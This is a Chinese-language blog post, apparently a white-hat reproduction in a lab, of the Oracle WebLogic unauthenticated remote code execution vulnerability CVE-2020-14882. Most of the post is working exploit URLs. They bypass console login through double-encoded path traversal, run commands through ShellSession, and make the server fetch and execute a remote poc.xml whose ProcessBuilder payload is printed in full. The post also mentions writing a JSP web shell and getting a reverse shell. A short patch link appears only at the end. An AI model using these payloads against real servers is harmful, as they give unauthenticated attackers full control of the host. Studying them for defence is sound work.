前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【漏洞复现】Weblogic漏洞复现:CVE-2020-14882未授权代码执行

【漏洞复现】Weblogic漏洞复现:CVE-2020-14882未授权代码执行

作者头像
一名白帽的成长史
发布2020-11-09 14:40:52
6K0
发布2020-11-09 14:40:52
举报

来复现一个刚出炉不久的漏洞吧~

CVE-2020-14882未授权代码执行~

Part.1

漏洞说明

漏洞说明

1、漏洞说明

近日,Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。

2、影响版本:

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。

3、漏洞链接:

代码语言:javascript
复制
/console/images/%252E%252E%252Fconsole.portal

Part.2

漏洞复现

环境搭建

1、jdk-8u212-windows-x64.exe

2、fmw_12.2.1.4.0_wls_lite_Disk1_1of1.zip

官方下载链接:

代码语言:javascript
复制
https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html

ShellSession

首先尝试访问一下weblogic后台:

http://192.168.3.136:7001/console/login/LoginForm.jsp

构造以下链接,可以直接未授权访问到后台:

代码语言:javascript
复制
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

命令执行代码如下,尝试弹出计算器:

代码语言:javascript
复制
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)

执行成功:

尝试执行ping dnslog地址:

代码语言:javascript
复制
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping monster.f7iu4d.dnslog.cn%27);%22)

测试成功:

//测试时发现,weblogic12.1.3.0版本以上方法不会成功,但可以使用后面的其他方法。

FileSystemXmlApplicationContext()

尝试通过FileSystemXmlApplicationContext()加载并执行远端xml文件:

代码语言:javascript
复制
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.3.1/poc.xml")

poc.xml如下:

代码语言:javascript
复制
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

通过此方法,windows可以往images路径下写文件,写入路径为:

代码语言:javascript
复制
../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp

例如修改poc.xml为:

访问http://192.168.3.136:7001/console/images/xxx.jsp

写入成功~~

Linux则可以直接反弹shell,修改poc.xml如下:

ClassPathXmlApplicationContext()

通过ClassPathXmlApplicationContext()也可以达到相同的效果:

代码语言:javascript
复制
http://192.168.3.136:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.3.1/poc.xml")

完结~

修复建议

安装官方最新补丁进行升级:

https://www.oracle.com/security-alerts/cpuapr2020.html

Part.3

结语

好啦,以上就是今天的全部内容了~

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一名白帽的成长史 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档